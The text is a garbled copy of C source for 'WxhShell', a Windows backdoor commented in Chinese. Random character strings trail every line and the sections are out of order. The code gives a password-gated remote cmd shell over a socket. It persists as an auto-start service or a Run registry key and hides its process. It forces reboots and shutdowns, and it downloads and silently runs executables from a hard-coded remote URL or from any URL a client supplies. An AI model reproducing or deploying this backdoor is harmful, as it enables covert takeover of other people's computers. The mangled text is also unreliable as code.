    if(Boot(SHUTDOWN)) n-b<vEZw#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P7k$^n  
    else { !{ESeBSCG  
    closesocket(wsh); gy,TT<1)  
    ExitThread(0); Ualq>J5-m-  
    } _hyxKrm' 6  
    break; aEqI51I  
    } h^_taAdS`  
  // 获取shell k]/6/s\  
  case 's': { SX=0f^  
    CmdShell(wsh); <sCq x/L  
    closesocket(wsh); !E:Vn *k;  
    ExitThread(0); ,fG_'3wb  
    break; =Wy`X0h  
  } ! 7*_Z=  
  // 退出 `i)ePiE  
  case 'x': { ?5YmE(v7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Oc/_ T>  
    CloseIt(wsh); +-!|%jG`%v  
    break; b`W'M :$  
    } ?^$4)Y>Kf  
  // 离开 ^.1VhTB  
  case 'q': { BfE-s<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -J7,Nw  
    closesocket(wsh); c'#J{3d  
    WSACleanup(); @Rb1)$~#  
    exit(1); ,8o*!(uO2  
    break; //u76nQ  
        } 7(g&z%  
  } |UDD/e  
  } X>GY*XU  
5<?c_l9X^  
  // 提示信息 rWfurB5f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T!xy^n]}  
} 3&nc'  
  } rUpAiZfz >  
_yB9/F  
  return; Fx99"3`3  
} n25tr'=  
JX0_UU  
// shell模块句柄 y3[)zv  
int CmdShell(SOCKET sock) b G5  
{ x(zZqOed  
STARTUPINFO si; jKV?!~/F  
ZeroMemory(&si,sizeof(si)); `L*;58MA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {i}Q}OgYq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s&`XK$p  
PROCESS_INFORMATION ProcessInfo; s1\BjSzk  
char cmdline[]="cmd"; t{s*3k/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 27 TZ+?  
  return 0; .d!*<`S|  
} n9/0W%X>  
HWfX>Vf>}k  
// 自身启动模式 J$/BH\  
int StartFromService(void) JIKxY$GS  
{ LLY;IUK!R  
typedef struct eL?si!ZL^  
{ 5"~^;O  
  DWORD ExitStatus; HgATH  
  DWORD PebBaseAddress; ]bE?n.NwZ  
  DWORD AffinityMask; !gew;Jz  
  DWORD BasePriority; N&h!14]{ Z  
  ULONG UniqueProcessId; 6Oba}`)q9  
  ULONG InheritedFromUniqueProcessId; 8 (h  
}   PROCESS_BASIC_INFORMATION; ^QQ NJ  
sK/"  
PROCNTQSIP NtQueryInformationProcess; i6:yNb ='  
<a[8;YQC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XK-x*|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9x{prCr  
hsO.521g  
  HANDLE             hProcess; d@f2Vxe7  
  PROCESS_BASIC_INFORMATION pbi; ;OJ0}\*iP8  
T>%ny\?tHW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JsEEAM:w  
  if(NULL == hInst ) return 0; be%*0lr  
VX[!Vh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X@q1;J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lbp6I0&n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k[)@I;m  
xi. KD  
  if (!NtQueryInformationProcess) return 0; V(uRKu x  
!D&MJThNy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kD7(}N8YR  
  if(!hProcess) return 0; aB!Am +g  
Z|S7 " ,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 32P]0&_O  
gK\7^95  
  CloseHandle(hProcess); azc:C  
=T4 w:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9?$!=4  
if(hProcess==NULL) return 0; 0%NI- Zyo  
<uwCP4E  
HMODULE hMod; 1ZFSz{  
char procName[255]; K)\gbQ|  
unsigned long cbNeeded; R >&/n/l  
xG/qDc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S5a<L_  
4yv31QG$  
  CloseHandle(hProcess); Y<fXuj|&  
a\_,_psK  
if(strstr(procName,"services")) return 1; // 以服务启动 7e[\0:Z  
q:sR zX  
  return 0; // 注册表启动 }l!_m.#e  
} P[8N58#  
]X|G+[Ujv  
// 主模块 ACltV"dB^  
int StartWxhshell(LPSTR lpCmdLine) Lta\AN!c  
{ (k&aD2PH  
  SOCKET wsl; -V<"Ay  
BOOL val=TRUE; P< x  
  int port=0; BmX Gk  
  struct sockaddr_in door; AI;=k  
xR`2+t&t  
  if(wscfg.ws_autoins) Install(); 9(j!#`O7&  
@ RBwT  
port=atoi(lpCmdLine); hj,x~^cS  
'Sh5W%NM  
if(port<=0) port=wscfg.ws_port; h cXqg  
>K%x44|  
  WSADATA data; 1hij4m$b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5-^twXC&  
?s33x#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gwNkjI= ,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pj]<i.p  
  door.sin_family = AF_INET; +(%[fW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3: Uik  
  door.sin_port = htons(port); O_^h 7   
#KW:OFT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  ?~IZ{!  
closesocket(wsl); '7s!N F2  
return 1; 54w-yY  
} a"0~_=  
Shz;)0To  
  if(listen(wsl,2) == INVALID_SOCKET) { m@~x*+Iz  
closesocket(wsl);  U2$T}/@  
return 1; I r~X#$Upc  
} Q,`kfxA`O  
  Wxhshell(wsl); 2_X0Og8s[  
  WSACleanup(); sf0U(XYQ^  
W$S.?[X  
return 0; O]lfs >>x  
 <@u6*]  
} >k|[U[@  
e_V(G  
// 以NT服务方式启动 p;Kr664  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >B7OTGw  
{ PK" C+o;:  
DWORD   status = 0; 'zK*?= ^jk  
  DWORD   specificError = 0xfffffff; i;Y^}2   
7i.aZ2a%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sSUd;BYf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aDuanGC/V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B!@0(A  
  serviceStatus.dwWin32ExitCode     = 0; pdSyx>rJ  
  serviceStatus.dwServiceSpecificExitCode = 0; K#r` ^aUc  
  serviceStatus.dwCheckPoint       = 0; =P{RHhWy;  
  serviceStatus.dwWaitHint       = 0; 's<}@-]  
cDg27xOUi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 46~ug5gV  
  if (hServiceStatusHandle==0) return; r$5!KO  
51x,[y+Xe  
status = GetLastError(); x{$NstGB  
  if (status!=NO_ERROR) if>] )g2lr  
{ RMK U5A7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uE(w$2Wi  
    serviceStatus.dwCheckPoint       = 0; 1CbC|q  
    serviceStatus.dwWaitHint       = 0; ~_%[j8o&l  
    serviceStatus.dwWin32ExitCode     = status; pG&.Ye]j  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,dBI=D'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yo:&\a K[  
    return; tPsU7bFk  
  } > R=YF*t  
7[L C*nrr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :Kiu*&{  
  serviceStatus.dwCheckPoint       = 0; CR<l"~X  
  serviceStatus.dwWaitHint       = 0; zeX?]@]Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >nX'RE|F  
} EcU9Tm`h  
<FE O6YP  
// 处理NT服务事件,比如:启动、停止 71_N9ub@z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q9Q4F  
{ Rs wR DLl  
switch(fdwControl) <vs.Ucxx  
{ F <(Y  
case SERVICE_CONTROL_STOP: y+a&swd2(U  
  serviceStatus.dwWin32ExitCode = 0; U*cj'`eqC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _wBPn6gg`  
  serviceStatus.dwCheckPoint   = 0; ,P^"X5$   
  serviceStatus.dwWaitHint     = 0; &D:88   
  { Y2Bu,/9^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A@UnrbX:  
  } bPNsy@"6  
  return; 8CCA/6  
case SERVICE_CONTROL_PAUSE: *L=CJg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d9s"y?8  
  break; Y%3j >_\;  
case SERVICE_CONTROL_CONTINUE: D%zIm,bf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *d(Dk*(  
  break; ScEM#9T|  
case SERVICE_CONTROL_INTERROGATE: Z_%>yqDC  
  break; H,'c&  
}; ]P.S5s'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *h Ur E  
} 8QU`SoS9  
 l}JVRU{  
// 标准应用程序主函数 ~0L>l J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E%TvGe;#  
{ b> | oU  
-Db(  
// 获取操作系统版本 @ o]F~x  
OsIsNt=GetOsVer(); c c:xT0Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~1p f ?  
3XIxuQwf  
  // 从命令行安装 ; ?!sU  
  if(strpbrk(lpCmdLine,"iI")) Install(); OX91b<A  
nP.d5%E  
  // 下载执行文件 3hkA`YSYt  
if(wscfg.ws_downexe) { piU4%EO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,M9'S;&^  
  WinExec(wscfg.ws_filenam,SW_HIDE); I/'>Bn+  
} . @.CQB=E  
0/c4%+ Ln  
if(!OsIsNt) { - 0zo>[c/p  
// 如果时win9x,隐藏进程并且设置为注册表启动 $/Mk.(3'P  
HideProc(); ~34$D],D  
StartWxhshell(lpCmdLine); QeGU]WU{  
} g& {YHq^+  
else {z w#My   
  if(StartFromService()) gCmGFQE-f  
  // 以服务方式启动 V5=Injs *  
  StartServiceCtrlDispatcher(DispatchTable); bbz86]AhY  
else OnG?@sW+4!  
  // 普通方式启动 LTxOq|/Cq  
  StartWxhshell(lpCmdLine); d97wiE/i<  
7\.5G4dr%  
return 0; [* Lh4K  
} S5j#&i  
=uHTpHR  
Xr@0RFdr[  
jk~< si  
=========================================== Q9( eH2=  
m#uutomi0  
9rhz#w  
bp }~{]:b  
17-K~ybc  
@ ~PL|Pp_  
" xMe[/7)4  
&4DWLI  
#include <stdio.h> <3i!{"}  
#include <string.h> gX[6WB"p  
#include <windows.h> y<)x`&pcD  
#include <winsock2.h> f+rBIE  
#include <winsvc.h> #6JG#!W  
#include <urlmon.h> /gxwp:&lY  
Zvc{o8^z  
#pragma comment (lib, "Ws2_32.lib") 'INdZ8j_  
#pragma comment (lib, "urlmon.lib") cEe>Lyt  
!aLL|}S  
#define MAX_USER   100 // 最大客户端连接数 T7[ItLZ  
#define BUF_SOCK   200 // sock buffer ~#wq sm  
#define KEY_BUFF   255 // 输入 buffer $N~8 ^6  
)F:hv[iv  
#define REBOOT     0   // 重启 TtHqdKL  
#define SHUTDOWN   1   // 关机 o_?YYw-:  
1g *4e  
#define DEF_PORT   5000 // 监听端口 J 9z\ qTI  
bEM-^SR  
#define REG_LEN     16   // 注册表键长度 h 9No'!'!  
#define SVC_LEN     80   // NT服务名长度 j#29L"  
gP`8hNwR  
// 从dll定义API vuHqOAFNs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m/<7FU8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Uc.K6%iI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \ZXH(N*>2t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]2?t $"G8  
Q~nc:eWD  
// wxhshell配置信息 NI3_wV  
struct WSCFG { `U)~fu/\2M  
  int ws_port;         // 监听端口 }yUZ(k#  
  char ws_passstr[REG_LEN]; // 口令 XJ.vj+XXb  
  int ws_autoins;       // 安装标记, 1=yes 0=no <Dl7|M  
  char ws_regname[REG_LEN]; // 注册表键名 nT:ZSJWM  
  char ws_svcname[REG_LEN]; // 服务名 iJU]|t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {@k5e) Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 66v6do7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /mmC qP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |[8&5[);  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  IG 6yt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q45Hmz  
h60*=+vdJ  
}; S_WYU&8  
|*Hw6m  
// default Wxhshell configuration U5odSR$  
struct WSCFG wscfg={DEF_PORT, MC^H N w  
    "xuhuanlingzhe", q'[5h>Pa  
    1, 4&}LYSZl  
    "Wxhshell", 2}K7(y!?u  
    "Wxhshell", 0X.pI1jCO  
            "WxhShell Service", Yz4Q!tL  
    "Wrsky Windows CmdShell Service", >IsRd  
    "Please Input Your Password: ", tAefBFu  
  1, SZNM$X|T  
  "http://www.wrsky.com/wxhshell.exe", Eb[*nWF=  
  "Wxhshell.exe" Tm qtj  
    }; `|[Q]+Mx  
BZe x  
// 消息定义模块 h49|x&03  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3 cu`U`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M#UW#+*g!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lo Oh }y+  
char *msg_ws_ext="\n\rExit."; J;HkR9<C  
char *msg_ws_end="\n\rQuit."; eVS6#R]'m  
char *msg_ws_boot="\n\rReboot..."; [?^,,.Dd  
char *msg_ws_poff="\n\rShutdown..."; V0XQG}  
char *msg_ws_down="\n\rSave to "; uL`;KD  
b|P[\9  
char *msg_ws_err="\n\rErr!"; hvkLcpE  
char *msg_ws_ok="\n\rOK!"; @h$cHZ  
 [td)v,  
char ExeFile[MAX_PATH]; -)PQ&[  
int nUser = 0; Hz `aj  
HANDLE handles[MAX_USER]; 1Jjay#  
int OsIsNt; E)7vuWO O  
9t9x&.A  
SERVICE_STATUS       serviceStatus; /^SIJS@^`>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (]>= y  
CNwIM6t  
// 函数声明 ;N#d'E\  
int Install(void); qS:hv&~  
int Uninstall(void); -W<x|ph U  
int DownloadFile(char *sURL, SOCKET wsh); Yxp.`  
int Boot(int flag); QX-%<@  
void HideProc(void); x4Q*~,n  
int GetOsVer(void); 9KkxUEkW  
int Wxhshell(SOCKET wsl); LB1LQ 0M  
void TalkWithClient(void *cs); hOG9  
int CmdShell(SOCKET sock); nep0<&"  
int StartFromService(void); hCS|(8g  
int StartWxhshell(LPSTR lpCmdLine); c 2t<WRG  
ihS;q6ln  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R7pdwKD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `fYICp  
-{n2^vvF  
// 数据结构和表定义 yPs4S?<s  
SERVICE_TABLE_ENTRY DispatchTable[] = z|E/pm$^  
{ (e.?). e  
{wscfg.ws_svcname, NTServiceMain}, &@NTedg!  
{NULL, NULL} d e)7_pCF|  
}; K Rs e  
4>x]v!d  
// 自我安装 >]s\%GO  
int Install(void) noJ5h |  
{ |*W_  
  char svExeFile[MAX_PATH]; 2:3-mWE  
  HKEY key; X:PB }  
  strcpy(svExeFile,ExeFile); Y">m g=B  
1j"_@?H[  
// 如果是win9x系统,修改注册表设为自启动 &3~lZa;D  
if(!OsIsNt) { B)>r~v]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cAnL,?_v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q$u&/g3NvL  
  RegCloseKey(key); mCah{~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O|wu;1pQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )IQ5Qu  
  RegCloseKey(key); q% *-4GP  
  return 0; >ka*-8?  
    } ~QzUQYG*  
  } nK[T.?Nz  
} PxE0b0eo  
else { J'{69<`Dl  
|[qq $  
// 如果是NT以上系统,安装为系统服务 {EU?{ #  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3*INDD=  
if (schSCManager!=0) r?Q`b2Q  
{ +c'b=n9j  
  SC_HANDLE schService = CreateService uzG{jc^  
  (  KT'Ebb]  
  schSCManager, K=lm9K  
  wscfg.ws_svcname, 0oR'"Vo  
  wscfg.ws_svcdisp, A)v! {  
  SERVICE_ALL_ACCESS, _:"PBN9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7uy?%5  
  SERVICE_AUTO_START, J5Pi"U$FkY  
  SERVICE_ERROR_NORMAL, &ed&2t`Y  
  svExeFile, bT93R8yp  
  NULL, ' b?' u  
  NULL, CVxqNR*DN  
  NULL, - QPM$  
  NULL, DpA"5RV  
  NULL gbf2ty  
  ); ,yPs4',d  
  if (schService!=0) Z!#n55 |  
  { CcDmZ  
  CloseServiceHandle(schService); kD"BsL*6!  
  CloseServiceHandle(schSCManager); Qk`ykTS!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iB-h3/  
  strcat(svExeFile,wscfg.ws_svcname); hv. 33l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $+'bRUo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %PF:OB6[|  
  RegCloseKey(key); ayGYVYi  
  return 0; GTYCNi66  
    } Lvco9 Ak  
  } o4Ny9s  
  CloseServiceHandle(schSCManager); VT@,RlB0  
} WxE^S ??|  
} ui>0?O*G  
(g(.gN]  
return 1; A8|DB@ Bi  
} 6>  L)  
r [NI#wW  
// 自我卸载 SK][UxoHm  
int Uninstall(void) Wb)>APL  
{ /kZ{+4M  
  HKEY key; S<Rl?El<=  
'J[ n}r  
if(!OsIsNt) { rHSA5.[1P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %1JN%  
  RegDeleteValue(key,wscfg.ws_regname); @'5*u~M  
  RegCloseKey(key); p*LG Y+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S2APqRg*  
  RegDeleteValue(key,wscfg.ws_regname); [nYm-\M  
  RegCloseKey(key); 2D'b7zPJ3  
  return 0; /Ko{S_3< I  
  }  H8lh.K  
} T{A 5,85  
} W'98ues%  
else { |$>ZGs#  
GF^)](xY+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E`A6GX  
if (schSCManager!=0) sLHUQ(S!  
{ *- S/{ .&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !k5I#w:  
  if (schService!=0) pwIu;:O!?  
  { UgqfO(  
  if(DeleteService(schService)!=0) { QXaE2}}P  
  CloseServiceHandle(schService); th :I31  
  CloseServiceHandle(schSCManager); = n>aJ(=Pd  
  return 0; {.r jp`39  
  } [c`u   
  CloseServiceHandle(schService); ?=^~(x?S  
  } B)L=)N  
  CloseServiceHandle(schSCManager); &gv{LJd5b  
} %)t9b@c!}  
} J 7/)XS  
NT1"?Thx|  
return 1; isF jJPe  
} g %ZKn  
2SABu796j  
// 从指定url下载文件 \h{M\bSIEa  
int DownloadFile(char *sURL, SOCKET wsh) @nNhW  
{ M9PzA'}4W6  
  HRESULT hr; Id(wY$C&>  
char seps[]= "/"; M~!DQ1u  
char *token; S7(Vc H  
char *file; {J[5 {]Je[  
char myURL[MAX_PATH]; 0b3z(x!O  
char myFILE[MAX_PATH]; 7,v}Ap]Pa  
e5z U`R  
strcpy(myURL,sURL); B* hW  
  token=strtok(myURL,seps); I k[{,p  
  while(token!=NULL) RJ63"F $  
  { ZC!GKW P2  
    file=token; 5H{dLZ],  
  token=strtok(NULL,seps);  f3E%0cg  
  } f7du1k3  
H)5V \  
GetCurrentDirectory(MAX_PATH,myFILE); MJ% gF=$X  
strcat(myFILE, "\\"); {>]7xTpwZ  
strcat(myFILE, file);  "d3qUk  
  send(wsh,myFILE,strlen(myFILE),0); /4xp?Lo:  
send(wsh,"...",3,0); w(6(Fze  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0hCrEM!8  
  if(hr==S_OK) xRiWg/Z~  
return 0; tqMOh R  
else ", Ge:\TR=  
return 1; *z3wm-z1&  
_oU}>5  
} i0jR~vF {B  
QRw/d}8l  
// 系统电源模块 >cdxe3I\  
int Boot(int flag) \J?l7mG  
{ ]A.tauSW  
  HANDLE hToken; } N$soaUs  
  TOKEN_PRIVILEGES tkp; j~#nJI5]  
YT@D*\  
  if(OsIsNt) { [@4.<4Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Dpf"H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I5$]{:L|9  
    tkp.PrivilegeCount = 1; Ojwhcb^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iH;IXv,b3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =)O%5<Lwx  
if(flag==REBOOT) { Y5&mJp\G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h,Nq:"}  
  return 0; ^ALR.N+<  
} 6~O9|s^38w  
else { /l.ox.4z#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x[m&ILr  
  return 0; caC-JcDXy  
} {wS)M  
  } {zmh0c; |  
  else { pI]tv@>:f  
if(flag==REBOOT) { w1q`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e^ ZxU/e  
  return 0; %]iE(!>3oy  
} ,JVWn>s  
else { q2U8]V U)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g UAx8=h  
  return 0; %.nZ@';.  
} mAZfo53  
} P-25]-  
KJQW))%e  
return 1; .kT}E5  
} K4`)srd  
nS$_VJ]~  
// win9x进程隐藏模块 O dWZYWj  
void HideProc(void) {OBV+}#  
{ ']'V?@H]4  
$T-Pl57  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9cMQ51k)E  
  if ( hKernel != NULL ) 4IUdlb  
  { Zk .V   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +Dwq>3AH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8gK  <xp  
    FreeLibrary(hKernel); B*c@w~E  
  } BJ,D1E  
I%#&@  
return; y2=`NG=  
} s(u,mtG  
!STa}wl  
// 获取操作系统版本 %jc"s\  
int GetOsVer(void) ROWrkJI>i  
{ k&M9Hn2  
  OSVERSIONINFO winfo; _=*ph0nu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O_bgrXg6x  
  GetVersionEx(&winfo); 'Io2",~ M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `COnb@uD  
  return 1; ]@G$ L,3  
  else 552U~t  
  return 0; )h>H}wDs  
} )i$:iI >k  
D$&LCW#x  
// 客户端句柄模块 Lo-\;%y  
int Wxhshell(SOCKET wsl) iFBH;O_~  
{ /'<Qk'   
  SOCKET wsh; S9@2-Oc  
  struct sockaddr_in client; 6vL+qOdx  
  DWORD myID;  !L|PDGD  
<^v-y)%N:A  
  while(nUser<MAX_USER) Hp}dm93T  
{ T^F9A55y  
  int nSize=sizeof(client); y'#i'0eeL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3l?-H|T  
  if(wsh==INVALID_SOCKET) return 1; 1:Dm, d;  
48p< ~#<W\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8-clL\bm  
if(handles[nUser]==0) Uk0Fo(HY  
  closesocket(wsh); \]$TBN dJ4  
else $ytlj1.  
  nUser++; {%PgR){qR  
  } {EL J!o[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |tua*zEsS  
M s5L7S  
  return 0; JrA\ V=K  
} \[MQJX,dn  
wB0K e  
// 关闭 socket >/eV4ma"  
void CloseIt(SOCKET wsh) q?TI(J+/  
{ K2gg"#ft?  
closesocket(wsh); ~P@6f K/M  
nUser--; _4lhwKYU  
ExitThread(0); UL<*z!y  
} oy< q;'  
zhW.0:9 CR  
// 客户端请求句柄 fJ8Q\lb<_  
void TalkWithClient(void *cs) KsR^:_e  
{ A!n)Fpk  
DwBKqhu  
  SOCKET wsh=(SOCKET)cs; gT8%?U:  
  char pwd[SVC_LEN]; b$O1I[o  
  char cmd[KEY_BUFF]; x=jS=3$8  
char chr[1]; ^`< %Pk  
int i,j; XaH%i~}3  
%*Aq%,.={  
  while (nUser < MAX_USER) { 8*[Q{:'.  
l2 [{T^  
if(wscfg.ws_passstr) { (Ymj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~P5;k_&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aNxq_pRb  
  //ZeroMemory(pwd,KEY_BUFF); 5uxB)Dx)  
      i=0; ^+b ??K  
  while(i<SVC_LEN) { tuWJj^  
WiBO8N,%`  
  // 设置超时 pjaDtNb  
  fd_set FdRead; JrhDqyk*  
  struct timeval TimeOut; klON6<w  
  FD_ZERO(&FdRead); !hS~\+E  
  FD_SET(wsh,&FdRead); ` fm^#Nw  
  TimeOut.tv_sec=8; JS{trqc1d  
  TimeOut.tv_usec=0; kntM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~4{|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {L9WeosQ  
'(o*l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N sNk  
  pwd=chr[0]; 8"5^mj  
  if(chr[0]==0xd || chr[0]==0xa) { B+Ox#[<75  
  pwd=0; C_q@ixF{  
  break; B4d\4S_r%  
  } NL7CeHs5  
  i++; _Vl22'wl  
    } WY3D.z-</  
"oc&uj  
  // 如果是非法用户,关闭 socket QO|roE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lf?dTPrD  
} OqNtTk+  
J=@D]I*3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1GA$nFBVC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F9\T <  
m.0: R  
while(1) { ,rZp(moj  
"T+oXK\B  
  ZeroMemory(cmd,KEY_BUFF); +`D,7"{Eu  
. v L4@_  
      // 自动支持客户端 telnet标准   G$T#ql  
  j=0; /Q*o6G ys0  
  while(j<KEY_BUFF) { YKtF)N;m]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x.ZW%P1  
  cmd[j]=chr[0]; $lYy`OuC  
  if(chr[0]==0xa || chr[0]==0xd) { q o^PS  
  cmd[j]=0; @}[yC['  
  break; /6@iRswa  
  } pZUXXX  
  j++; gLGu#6YVu  
    } (s?Rbd  
$~s|%>@  
  // 下载文件 =k +nC)e  
  if(strstr(cmd,"http://")) { e <]^7pz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sH_5.+,`  
  if(DownloadFile(cmd,wsh)) qS.TVNZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 34e> R?J  
  else P9/Bc^5'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WVa#nU^  
  } :\sz`p?EC  
  else { A\IQM^i  
Mb0l*'ZF  
    switch(cmd[0]) { YrRD3P.P  
  7F!(60xY  
  // 帮助 =mWr8p-H  
  case '?': { 40ZHDtIu<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QhqXd  
    break; V% PeZ.Xv  
